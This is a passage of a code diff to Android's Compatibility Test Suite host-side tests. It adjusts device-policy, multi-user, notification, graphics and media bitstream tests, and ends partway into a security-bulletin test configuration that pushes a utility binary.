-                DEVICE_OWNER_PKG,
-                ".AffiliationTest",
-                "testLockTaskMethodsThrowExceptionIfUnaffiliated",
-                userId);
-
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", userId);
-        runDeviceTestsAsUser(
-                DEVICE_OWNER_PKG,
-                ".AffiliationTest",
-                "testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated",
-                userId);
-    }
-
-    public void testLockTask_affiliatedSecondaryUser() throws Exception {
-        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
-            return;
-        }
-        final int userId = createAffiliatedSecondaryUser();
-        executeAffiliatedProfileOwnerTest("LockTaskTest", userId);
-    }
-
     public void testSystemUpdatePolicy() throws Exception {
         if (!mHasFeature) {
             return;
@@ -813,23 +711,11 @@
             new DevicePolicyEventWrapper.Builder(EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
                     .setAdminPackageName(DEVICE_OWNER_PKG)
                     .build());
-
-        // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport) leaves a
-        // state where future bug report requests will fail
-        // TODO(b/130210665): replace this with use of NotificationListenerService to dismiss the
-        // bug report request
-        rebootAndWaitUntilReady();
-
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
         }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
                 .setAdminPackageName(DEVICE_OWNER_PKG)
                 .build());
-        // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport) leaves a
-        // state where future bug report requests will fail
-        // TODO(b/130210665): replace this with use of NotificationListenerService to dismiss the
-        // bug report request
-        rebootAndWaitUntilReady();
     }
 
     public void testBluetoothRestriction() throws Exception {
@@ -1041,7 +927,7 @@
     }
 
     public void testInstallUpdateLogged() throws Exception {
-        if (!mHasFeature) {
+        if (!mHasFeature || !isDeviceAb()) {
             return;
         }
         pushUpdateFileToDevice("wrongHash.zip");
@@ -1049,12 +935,10 @@
             executeDeviceTestMethod(".InstallUpdateTest", "testInstallUpdate_failWrongHash");
         }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_SYSTEM_UPDATE_VALUE)
                     .setAdminPackageName(DEVICE_OWNER_PKG)
-                    .setBoolean(isDeviceAb())
+                    .setBoolean(/* isDeviceAb */ true)
                     .build(),
             new DevicePolicyEventWrapper.Builder(EventId.INSTALL_SYSTEM_UPDATE_ERROR_VALUE)
-                    .setInt(isDeviceAb()
-                            ? UPDATE_ERROR_UPDATE_FILE_INVALID
-                            : UPDATE_ERROR_UNKNOWN)
+                    .setInt(UPDATE_ERROR_UPDATE_FILE_INVALID)
                     .build());
     }
 
@@ -1135,15 +1019,6 @@
         runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, mPrimaryUserId);
     }
 
-    private void executeAffiliatedProfileOwnerTest(String testClassName, int userId)
-            throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-        String testClass = DEVICE_OWNER_PKG + "." + testClassName;
-        runDeviceTestsAsUser(DEVICE_OWNER_PKG, testClass, userId);
-    }
-
     private void executeDeviceTestMethod(String className, String testName) throws Exception {
         if (!mHasFeature) {
             return;
@@ -1162,7 +1037,7 @@
         waitForBroadcastIdle();
         wakeupAndDismissKeyguard();
 
-        // Setting the same affiliation ids on both users and running the lock task tests.
+        // Setting the same affiliation ids on both users
         runDeviceTestsAsUser(
                 DEVICE_OWNER_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
         runDeviceTestsAsUser(
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
old mode 100644
new mode 100755
index 960fbb2..d941316
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DevicePlusProfileOwnerHostSideTransferTest.java
@@ -32,8 +32,7 @@
                     TRANSFER_OWNER_OUTGOING_APK, TRANSFER_OWNER_OUTGOING_TEST_RECEIVER);
                 setSameAffiliationId(profileUserId, TRANSFER_PROFILE_OWNER_OUTGOING_TEST);
 
-                installAppAsUser(TRANSFER_OWNER_INCOMING_APK, mPrimaryUserId);
-                installAppAsUser(TRANSFER_OWNER_INCOMING_APK, profileUserId);
+                installAppAsUser(TRANSFER_OWNER_INCOMING_APK, USER_ALL);
                 mUserId = profileUserId;
             } else {
                 removeAdmin(TRANSFER_OWNER_OUTGOING_TEST_RECEIVER, mUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
old mode 100644
new mode 100755
index decab02..c756d16
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LauncherAppsProfileTest.java
@@ -53,11 +53,10 @@
                     mProfileUserId);
             mProfileSerialNumber = Integer.toString(getUserSerialNumber(mProfileUserId));
             mMainUserSerialNumber = Integer.toString(getUserSerialNumber(mParentUserId));
-            startUser(mProfileUserId);
+            startUserAndWait(mProfileUserId);
 
             // Install test APK on primary user and the managed profile.
-            installTestApps(mPrimaryUserId);
-            installTestApps(mProfileUserId);
+            installTestApps(USER_ALL);
         }
     }
 
@@ -166,7 +165,8 @@
         }
         installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
         startCallbackService(mPrimaryUserId);
-        installAppAsUser(SIMPLE_APP_APK, mProfileUserId);
+        installAppAsUser(SIMPLE_APP_APK, /* grantPermissions */ true, /* dontKillApp */ true,
+                mProfileUserId);
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS,
                 "testPackageChangedCallbackForUser",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 01d64ed..3f7bd9d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -118,8 +118,10 @@
             mProfileUserId = createManagedProfile(mParentUserId);
             startUser(mProfileUserId);
 
-            installAppAsUser(MANAGED_PROFILE_APK, mParentUserId);
-            installAppAsUser(MANAGED_PROFILE_APK, mProfileUserId);
+            // Install the APK on both primary and profile user in one single transaction.
+            // If they were installed separately, the second installation would become an app
+            // update and result in the current running test process being killed.
+            installAppAsUser(MANAGED_PROFILE_APK, USER_ALL);
             setProfileOwnerOrFail(MANAGED_PROFILE_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS,
                     mProfileUserId);
             waitForUserUnlock();
@@ -488,10 +490,8 @@
         // intents resolution.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
                 "testDisableAllBrowsers", mProfileUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
-        installAppAsUser(INTENT_SENDER_APK, mParentUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
-        installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
+        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+        installAppAsUser(INTENT_SENDER_APK, USER_ALL);
 
         changeVerificationStatus(mParentUserId, INTENT_RECEIVER_PKG, "ask");
         changeVerificationStatus(mProfileUserId, INTENT_RECEIVER_PKG, "ask");
@@ -526,10 +526,8 @@
         // intents resolution.
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
                 "testDisableAllBrowsers", mProfileUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
-        installAppAsUser(INTENT_SENDER_APK, mParentUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
-        installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
+        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+        installAppAsUser(INTENT_SENDER_APK, USER_ALL);
 
         final String APP_HANDLER_COMPONENT = "com.android.cts.intent.receiver/.AppLinkActivity";
 
@@ -589,10 +587,8 @@
 
         // Storage permission shouldn't be granted, we check if missing permissions are respected
         // in ContentTest#testSecurity.
-        installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, mParentUserId);
-        installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, mProfileUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
+        installAppAsUser(INTENT_SENDER_APK, false /* grantPermissions */, USER_ALL);
+        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
 
         // Test from parent to managed
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
@@ -615,8 +611,7 @@
             return;
         }
 
-        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
-        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
         // Profile owner in the profile sets an empty whitelist
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -633,8 +628,7 @@
             return;
         }
 
-        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
-        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
         // Profile owner in the profile sets a null whitelist
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -651,8 +645,7 @@
             return;
         }
 
-        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
-        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
         // Profile owner in the profile adds listener to the whitelist
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -668,8 +661,7 @@
         if (!mHasFeature) {
             return;
         }
-        installAppAsUser(NOTIFICATION_APK, mProfileUserId);
-        installAppAsUser(NOTIFICATION_APK, mParentUserId);
+        installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
                 "testSetAndGetPermittedCrossProfileNotificationListeners", mProfileUserId,
@@ -680,10 +672,8 @@
         if (!mHasFeature) {
             return;
         }
-        installAppAsUser(INTENT_RECEIVER_APK, mParentUserId);
-        installAppAsUser(INTENT_SENDER_APK, mParentUserId);
-        installAppAsUser(INTENT_RECEIVER_APK, mProfileUserId);
-        installAppAsUser(INTENT_SENDER_APK, mProfileUserId);
+        installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
+        installAppAsUser(INTENT_SENDER_APK, USER_ALL);
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileUtils",
                 "testAllowCrossProfileCopyPaste", mProfileUserId);
@@ -1001,8 +991,7 @@
         }
 
         try {
-            installAppAsUser(WIDGET_PROVIDER_APK, mProfileUserId);
-            installAppAsUser(WIDGET_PROVIDER_APK, mParentUserId);
+            installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
             getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
                     + " --package " + WIDGET_PROVIDER_PKG);
             setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
@@ -1048,8 +1037,7 @@
         }
 
         try {
-            installAppAsUser(WIDGET_PROVIDER_APK, mProfileUserId);
-            installAppAsUser(WIDGET_PROVIDER_APK, mParentUserId);
+            installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
             getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
                     + " --package " + WIDGET_PROVIDER_PKG);
             setIdleWhitelist(WIDGET_PROVIDER_PKG, true);
@@ -1738,8 +1726,7 @@
                     "testAddTestAccount", mProfileUserId);
 
             // Install directory provider to both primary and managed profile
-            installAppAsUser(DIRECTORY_PROVIDER_APK, mProfileUserId);
-            installAppAsUser(DIRECTORY_PROVIDER_APK, mParentUserId);
+            installAppAsUser(DIRECTORY_PROVIDER_APK, USER_ALL);
             setDirectoryPrefix(PRIMARY_DIRECTORY_PREFIX, mParentUserId);
             setDirectoryPrefix(MANAGED_DIRECTORY_PREFIX, mProfileUserId);
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
index 1dc783e4..6f3c07c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedDeviceOwnerTest.java
@@ -16,16 +16,11 @@
 
 package com.android.cts.devicepolicy;
 
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-
 import android.stats.devicepolicy.EventId;
 
 import com.android.cts.devicepolicy.metrics.DevicePolicyEventWrapper;
 
-import java.io.File;
 import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.Collections;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
@@ -46,10 +41,9 @@
             mUserId = mPrimaryUserId;
 
             installAppAsUser(DEVICE_ADMIN_APK, mUserId);
-            if (!setDeviceOwner(
-                    DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
+            if (!setDeviceOwner(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId, /*expectFailure*/
+                    false)) {
+                removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId);
                 getDevice().uninstallPackage(DEVICE_ADMIN_PKG);
                 fail("Failed to set device owner");
             }
@@ -60,11 +54,39 @@
     protected void tearDown() throws Exception {
         if (mHasFeature) {
             assertTrue("Failed to remove device owner",
-                    removeAdmin(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId));
+                    removeAdmin(DEVICE_ADMIN_COMPONENT_FLATTENED, mUserId));
         }
         super.tearDown();
     }
 
+    public void testLockTask_unaffiliatedUser() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+
+        final int userId = createSecondaryUserAsProfileOwner();
+        runDeviceTestsAsUser(
+                DEVICE_ADMIN_PKG, ".AffiliationTest",
+                "testLockTaskMethodsThrowExceptionIfUnaffiliated", userId);
+
+        setUserAsAffiliatedUserToPrimary(userId);
+        runDeviceTestsAsUser(
+                DEVICE_ADMIN_PKG,
+                ".AffiliationTest",
+                "testSetLockTaskPackagesClearedIfUserBecomesUnaffiliated",
+                userId);
+    }
+
+    public void testLockTask_affiliatedSecondaryUser() throws Exception {
+        if (!mHasFeature || !canCreateAdditionalUsers(1)) {
+            return;
+        }
+        final int userId = createSecondaryUserAsProfileOwner();
+        switchToUser(userId);
+        setUserAsAffiliatedUserToPrimary(userId);
+        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".LockTaskTest", userId);
+    }
+
     public void testDelegatedCertInstallerDeviceIdAttestation() throws Exception {
         if (!mHasFeature) {
             return;
@@ -105,4 +127,26 @@
         result.add(DELEGATION_NETWORK_LOGGING);
         return result;
     }
+
+    private int createSecondaryUserAsProfileOwner() throws Exception {
+        final int userId = createUser();
+        installAppAsUser(INTENT_RECEIVER_APK, userId);
+        installAppAsUser(DEVICE_ADMIN_APK, userId);
+        setProfileOwnerOrFail(DEVICE_ADMIN_COMPONENT_FLATTENED, userId);
+        return userId;
+    }
+
+    private void switchToUser(int userId) throws Exception {
+        switchUser(userId);
+        waitForBroadcastIdle();
+        wakeupAndDismissKeyguard();
+    }
+
+    private void setUserAsAffiliatedUserToPrimary(int userId) throws Exception {
+        // Setting the same affiliation ids on both users
+        runDeviceTestsAsUser(
+                DEVICE_ADMIN_PKG, ".AffiliationTest", "testSetAffiliationId1", mPrimaryUserId);
+        runDeviceTestsAsUser(
+                DEVICE_ADMIN_PKG, ".AffiliationTest", "testSetAffiliationId1", userId);
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
index 0417844..b3b48b4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTest.java
@@ -46,11 +46,11 @@
     private void createManagedProfile() throws Exception {
         mUserId = createManagedProfile(mParentUserId);
         switchUser(mParentUserId);
-        startUser(mUserId);
+        startUserAndWait(mUserId);
 
         installAppAsUser(DEVICE_ADMIN_APK, mUserId);
         setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-        startUser(mUserId);
+        startUserAndWait(mUserId);
     }
 
     @Override
@@ -220,4 +220,33 @@
                 "testSucceedsWithProfileOwnerIdsGrant", mUserId);
     }
 
+    @Override
+    public void testLockTask() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    public void testLockTaskAfterReboot() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    public void testLockTaskAfterReboot_tryOpeningSettings() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    public void testLockTask_defaultDialer() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    public void testLockTask_emergencyDialer() {
+        // Managed profiles are not allowed to use lock task
+    }
+
+    @Override
+    public void testLockTask_exitIfNoLongerWhitelisted() {
+        // Managed profiles are not allowed to use lock task
+    }
 }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
index 47b3539..7623b48 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/MixedManagedProfileOwnerTestApi25.java
@@ -41,11 +41,11 @@
     private void createManagedProfile() throws Exception {
         mUserId = createManagedProfile(mParentUserId);
         switchUser(mParentUserId);
-        startUser(mUserId);
+        startUserAndWait(mUserId);
 
         installAppAsUser(DEVICE_ADMIN_APK, mUserId);
         setProfileOwnerOrFail(DEVICE_ADMIN_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS, mUserId);
-        startUser(mUserId);
+        startUserAndWait(mUserId);
     }
 
     @Override
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 8f696f8..90b78fc 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -106,7 +106,7 @@
 
         int veryJankyDelta = countFramesAbove(statsAfter, 60) - countFramesAbove(statsBefore, 60);
         // The 1st frame could be >40ms, but nothing after that should be
-        assertTrue(veryJankyDelta <= 1);
+        assertTrue(veryJankyDelta <= 2);
     }
 
     public void testDaveyDrawFrame() throws Exception {
diff --git a/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
index 7ed16e1..6c59282 100644
--- a/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/NotificationIncidentTest.java
@@ -27,6 +27,8 @@
 import android.service.notification.ZenModeProto;
 import android.service.notification.ZenRuleProto;
 
+import com.android.tradefed.device.ITestDevice;
+
 import java.util.List;
 
 /**
@@ -55,43 +57,51 @@
     private static final String TEST_ACTIVITY =
             "com.android.server.cts.notifications/.NotificationIncidentTestActivity";
     private static final int WAIT_MS = 1000;
+    private static final String DEVICE_SIDE_TEST_PKG = "com.android.server.cts.notifications";
 
     /**
      * Tests that at least one notification is posted, and verify its properties are plausible.
      */
     public void testNotificationRecords() throws Exception {
-        installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
-        int retries = 3;
-        do {
-            getDevice().executeShellCommand("am start -n " + TEST_ACTIVITY);
-        } while (!checkLogcatForText(TEST_APP_TAG, TEST_APP_LOG, WAIT_MS) && retries-- > 0);
+        ITestDevice device = getDevice();
+        try {
+            installPackage(DEVICE_SIDE_TEST_APK, /* grantPermissions= */ true);
+            int retries = 3;
+            do {
+                device.executeShellCommand("am start -n " + TEST_ACTIVITY);
+            } while (!checkLogcatForText(TEST_APP_TAG, TEST_APP_LOG, WAIT_MS) && retries-- > 0);
 
-        final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
-                "dumpsys notification --proto");
+            final NotificationServiceDumpProto dump = getDump(NotificationServiceDumpProto.parser(),
+                    "dumpsys notification --proto");
 
-        assertTrue(dump.getRecordsCount() > 0);
-        boolean found = false;
-        for (NotificationRecordProto record : dump.getRecordsList()) {
-            if (record.getKey().contains("android")) {
-                found = true;
-                assertTrue(record.getImportance() > IMPORTANCE_NONE);
+            assertTrue(dump.getRecordsCount() > 0);
+            boolean found = false;
+            for (NotificationRecordProto record : dump.getRecordsList()) {
+                if (record.getKey().contains("android")) {
+                    found = true;
+                    assertTrue(record.getImportance() > IMPORTANCE_NONE);
 
-                // Ensure these fields exist, at least
-                record.getFlags();
-                record.getChannelId();
-                record.getSound();
-                record.getAudioAttributes();
-                record.getCanVibrate();
-                record.getCanShowLight();
-                record.getGroupKey();
+                    // Ensure these fields exist, at least
+                    record.getFlags();
+                    record.getChannelId();
+                    record.getSound();
+                    record.getAudioAttributes();
+                    record.getCanVibrate();
+                    record.getCanShowLight();
+                    record.getGroupKey();
+                }
+                assertTrue(
+                        NotificationRecordProto.State.getDescriptor()
+                                .getValues()
+                                .contains(record.getState().getValueDescriptor()));
             }
-            assertTrue(
-                NotificationRecordProto.State.getDescriptor()
-                        .getValues()
-                        .contains(record.getState().getValueDescriptor()));
-        }
 
-        assertTrue(found);
+            assertTrue(found);
+        } finally {
+            if (device.getInstalledPackageNames().contains(DEVICE_SIDE_TEST_PKG)) {
+                device.uninstallPackage(DEVICE_SIDE_TEST_PKG);
+            }
+        }
     }
 
     /** Test valid values from the RankingHelper. */
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
index 4c2d884..f1e73a2 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
@@ -152,7 +152,7 @@
         final int secondaryUserId = getDevice().createUser(
                 "InputMethodMultiUserTest_secondaryUser" + System.currentTimeMillis());
 
-        getDevice().startUser(secondaryUserId);
+        getDevice().startUser(secondaryUserId, true /* waitFlag */);
 
         installPossibleInstantPackage(DeviceTestConstants.APK, primaryUserId, instant);
         installPossibleInstantPackage(DeviceTestConstants.APK, secondaryUserId, instant);
@@ -212,7 +212,7 @@
         final int primaryUserId = getDevice().getPrimaryUserId();
         final int profileUserId = createProfile(primaryUserId);
 
-        getDevice().startUser(profileUserId);
+        getDevice().startUser(profileUserId, true /* waitFlag */);
 
         installPossibleInstantPackage(DeviceTestConstants.APK, primaryUserId, instant);
         installPossibleInstantPackage(DeviceTestConstants.APK, profileUserId, instant);
diff --git a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
index 625839f..ae8d4a8 100644
--- a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
+++ b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
@@ -21,6 +21,7 @@
 import android.content.SharedPreferences;
 import android.content.SharedPreferences.Editor;
 import android.media.MediaCodec;
+import android.media.MediaCodecInfo.CodecProfileLevel;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.cts.bitstreams.MediaBitstreams;
@@ -83,6 +84,35 @@
         }
     }
 
+    private static void fixFormat(MediaFormat format, String path) {
+        // TODO(b/137684344): Revisit so that we can get this information from
+        //                    the bitstream or the extractor.
+        if (path.indexOf("/10bit/") < 0) {
+            return;
+        }
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        int profile = -1, level = -1;
+        if (mime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) {
+            profile = CodecProfileLevel.VP9Profile2;
+            level = CodecProfileLevel.VP9Level1;
+        } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+            profile = CodecProfileLevel.HEVCProfileMain10;
+            level = CodecProfileLevel.HEVCMainTierLevel1;
+        } else if (mime.equals(MediaFormat.MIMETYPE_VIDEO_AV1)) {
+            profile = CodecProfileLevel.AV1ProfileMain10;
+            level = CodecProfileLevel.AV1Level2;
+        } else {
+            return;
+        }
+
+        if (!format.containsKey(MediaFormat.KEY_PROFILE)) {
+            format.setInteger(MediaFormat.KEY_PROFILE, profile);
+        }
+        if (!format.containsKey(MediaFormat.KEY_LEVEL)) {
+            format.setInteger(MediaFormat.KEY_LEVEL, level);
+        }
+    }
+
     static interface ReportCallback {
         void run(OutputStream out) throws Exception;
     }
@@ -166,6 +196,7 @@
                 MediaFormat format = parseTrackFormat(formatStr);
                 String mime = format.getString(MediaFormat.KEY_MIME);
                 String[] decoders = MediaUtils.getDecoderNamesForMime(mime);
+                fixFormat(format, path);
 
                 ps.println(path);
                 ps.println(decoders.length);
@@ -225,6 +256,7 @@
             try {
                 ex.setDataSource(path);
                 MediaFormat format = ex.getTrackFormat(0);
+                fixFormat(format, path);
                 boolean[] vendors = new boolean[] {false, true};
                 for (boolean v : vendors) {
                     for (String name : MediaUtils.getDecoderNames(v, format)) {
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
new file mode 100644
index 0000000..1f4ab36
--- /dev/null
+++ b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.host.multiuser;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.concurrent.TimeUnit;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SecondaryUsersTest extends BaseMultiUserTest {
+
+    // Extra time to give the system to switch into secondary user after boot complete.
+    private static final long SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS = 30000;
+
+    private static final long POLL_INTERVAL_MS = 100;
+
+    @Test
+    public void testSwitchToSecondaryUserBeforeBootComplete() throws Exception {
+        if (!isAutomotiveDevice() || !mSupportsMultiUser) {
+            return;
+        }
+
+        getDevice().nonBlockingReboot();
+        getDevice().waitForBootComplete(TimeUnit.MINUTES.toMillis(2));
+
+        boolean isUserSecondary = false;
+        long ti = System.currentTimeMillis();
+
+        // TODO(b/138944230): Verify if current user is secondary when the UI is ready for user
+        // interaction. A possibility is to check if the CarLauncher is started in the
+        // Activity Stack, but this becomes tricky in OEM implementation, where CarLauncher is
+        // replaced with another launcher. Launcher can usually identify by
+        // android.intent.category.HOME (type=home) and priority = -1000. But there is no clear way
+        // to determine this via adb.
+        while (System.currentTimeMillis() - ti < SECONDARY_USER_BOOT_COMPLETE_TIMEOUT_MS) {
+            isUserSecondary = getDevice().isUserSecondary(getDevice().getCurrentUser());
+            if (isUserSecondary) {
+                break;
+            }
+            Thread.sleep(POLL_INTERVAL_MS);
+        }
+        Assert.assertTrue("Must switch to secondary user before boot complete", isUserSecondary);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 38d8eaf..44eedc1 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -20,6 +20,10 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
+        <!--__________________-->
+        <!--    Utilities     -->
+        <option name="push" value="pacrunner->/data/local/tmp/pacrunner" />
+
